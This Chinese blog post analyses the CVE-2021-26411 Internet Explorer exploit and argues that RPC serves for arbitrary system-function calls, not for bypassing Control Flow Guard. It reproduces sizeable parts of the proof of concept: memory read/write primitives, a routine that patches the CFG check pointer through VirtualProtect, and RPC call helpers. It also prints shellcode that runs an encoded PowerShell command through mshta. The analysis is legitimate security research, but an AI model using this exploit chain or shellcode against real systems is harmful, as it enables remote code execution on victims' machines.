• 纠正一下网上文章所说“利用RPC绕过CFG”的错误说法


    纠正误区

    网上说“利用RPC绕过CFG”的说法是不正确的,我先给出自己的观点,后面再说我的分析。网上有好几篇分析CVE-2021-26411的文章,对绕过CFG一律都说是利用RPC。其实在这个漏洞场景下,攻击者只不过是借助RPC获得执行任意系统函数的功能(注意我这里说的是系统函数,因为系统函数必然是合法的地址。),如果是某个自己创建出来的堆栈地址则可能会触发CFG异常。以下是该漏洞POC的关键部分:

    ...
    for (var i = 0; 16 > i; ++i) fakeArr[i] = bufArr[i];
    fakeArr[4] = bs + 64, fakeArr[16] = vt, fakeArr[17] = gc, fakeArr[24] = 4294967295, setData(1, new Data(VT_DISPATCH, bs)), flush(), ref = new VBArray(hd0.nodeValue), god = new DataView(ref.getItem(1)), ref = null, pArr = read(read(pArr + 16, 32) + 20, 32) + 16, write(read(addrOf(hd0) + 24, 32) + 40, 0, 32);
    var map = new Map,
        jscript9 = getBase(read(addrOf(map), 32)),
        rpcrt4 = getDllBase(jscript9, "rpcrt4.dll"),
        msvcrt = getDllBase(jscript9, "msvcrt.dll"),
        ntdll = getDllBase(msvcrt, "ntdll.dll"),
        kernelbase = getDllBase(msvcrt, "kernelbase.dll"),
        VirtualProtect = getProcAddr(kernelbase, "VirtualProtect"),
        LoadLibraryExA = getProcAddr(kernelbase, "LoadLibraryExA"),
        xyz = document.createAttribute("xyz"),
        paoi = addrOf(xyz),
        patt = read(addrOf(xyz) + 24, 32),
        osf_vft = aos(),
        msg = initRpc(),
        rpcFree = rpcFree();
        alert("killCfg");
    killCfg(rpcrt4);
    var shellcode = new Uint8Array([0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
            0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
            0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
            0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
            0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
            0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
            0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
            0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
            0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
            0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
            0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
            0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5, 0x6D, 0x73, 0x68, 0x74, 0x61, 0x20, 0x76, 0x62,
            0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x3A, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x6F, 0x62, 0x6A,
            0x65, 0x63, 0x74, 0x28, 0x22, 0x77, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x2E, 0x73, 0x68, 0x65,
            0x6C, 0x6C, 0x22, 0x29, 0x2E, 0x72, 0x75, 0x6E, 0x28, 0x22, 0x50, 0x6F, 0x77, 0x65, 0x72, 0x53,
            0x68, 0x65, 0x6C, 0x6C, 0x20, 0x2D, 0x6E, 0x6F, 0x70, 0x20, 0x2D, 0x65, 0x78, 0x65, 0x63, 0x20,
            0x62, 0x79, 0x70, 0x61, 0x73, 0x73, 0x20, 0x2D, 0x45, 0x6E, 0x63, 0x20, 0x74, 0x65, 0x73, 0x74,
            0x30, 0x29, 0x28, 0x77, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x2E, 0x63, 0x6C, 0x6F, 0x73, 0x65, 0x29,
            0x00
        ]),
        msi = call2(LoadLibraryExA, [newStr("msi.dll"), 0, 1]) + 20480,
        tmpBuffer = createArrayBuffer(4);
    	call2(VirtualProtect, [msi, shellcode.length, 4, tmpBuffer]);
    	writeData(msi, shellcode);
    	alert("protect shellcode");
    	call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer]);
        alert("call msi");
    var result = call2(msi, []);
    ...
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48

    注意到 k i l l c f g \textcolor{cornflowerblue}{killcfg} killcfg函数,以下是它的实现:

    function killCfg(e) {
        var t = new CFGObject(e);
        if (t.getCFGValue()) {
            var r = t.getCFGAddress(),
                a = getProcAddr(ntdll, "KiFastSystemCallRet"),
                n = createArrayBuffer(4);
            call2(VirtualProtect, [r, 4096, 64, n]), write(r, a, 32), call2(VirtualProtect, [r, 4096, read(n, 32), n]), map["delete"](n)
        }
    }
    
    function call2(e, t) {
        readyRpcCall(e);
        var r = setArgs(t);
        return call(msg), map["delete"](r), callRpcFreeBuffer()
    }
    
    function readyRpcCall(e) {
        var t = _RPC_MESSAGE.get(msg, "RpcInterfaceInformation"),
            r = PRPC_CLIENT_INTERFACE.get(t, "InterpreterInfo"),
            a = _MIDL_SERVER_INFO_.get(r, "DispatchTable");
        write(a, e, 32)
        alert('readyRpcCall():'.e);
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    它的思路是利用RPC调用VirtualProtect函数去修改 _ _ _ g u a r d _ c h e c k _ i c a l _ p t r \textcolor{cornflowerblue}{\_\_\_guard\_check\_ical\_ptr} ___guard_check_ical_ptr指针所在的内存属性位可读写,然后修改指针指向 K i F a s t S y s t e m C a l l R e t \textcolor{cornflowerblue}{KiFastSystemCallRet} KiFastSystemCallRet,达到绕过rpcrt4.dll中的CFG检测。做这一步的目的是为了后面会调用

     call2(msi, []);
    
    • 1

    msi是攻击者通过RPC调用LoadLibraryExA加载的msi.dll基址+20480,事实上这一步就算没有杀死CFG也是合法的,因为 L o a d L i b r a r y E x A \textcolor{cornflowerblue}{LoadLibraryExA} LoadLibraryExA是系统函数,在CFG中合法。然后攻击者将shellcode写入msi地址中,由于这个msi地址并不是某个系统函数的地址,所以必须在关闭CFG的情况下才能通过RPC调用,所以才有了前面的关闭CFG步骤。

    而shellcode本身也没什么特别,就是做一些计算后拿到kernel32.dll中的 W i n E x e c \textcolor{cornflowerblue}{WinExec} WinExec然后进行调用。这在一开始直接利用RPC调用 W i n E x e c \textcolor{cornflowerblue}{WinExec} WinExec,不关闭CFG也是可以的,测试如图:

    在这里插入图片描述

    通过了CFG检测:

    在这里插入图片描述

    由此可见“利用RPC绕过CFG“的说法是不对的,根本没有关系!在重申一遍,这个漏洞中,只不过是利用RPC实现任意系统函数调用的功能。

    网上的分析文章

    [1] https://www.aqtd.com/nd.jsp?id=103
    [2] https://paper.seebug.org/1579/
    [3] https://zhuanlan.zhihu.com/p/376019202

  • 相关阅读:
    spring boot正常启动之后访问controller下接口报404的解决方案
    [centos]centos镜像ISO下载地址
    http基础
    Springboot 中RedisTemplate使用scan来获取所有的key底层做了哪些事情
    PHP:prim普里姆算法(附完整源码)
    使用easyexcel模板导出的两个坑(Map空数据列错乱和不支持嵌套对象)
    哨兵模式及其搭建
    实时更新天气微信小程序开发
    【C++】类和对象(上)
    在uniapp中通过自定义事件使页面之间传递数据
  • 原文地址:https://blog.csdn.net/qq_41252520/article/details/128099617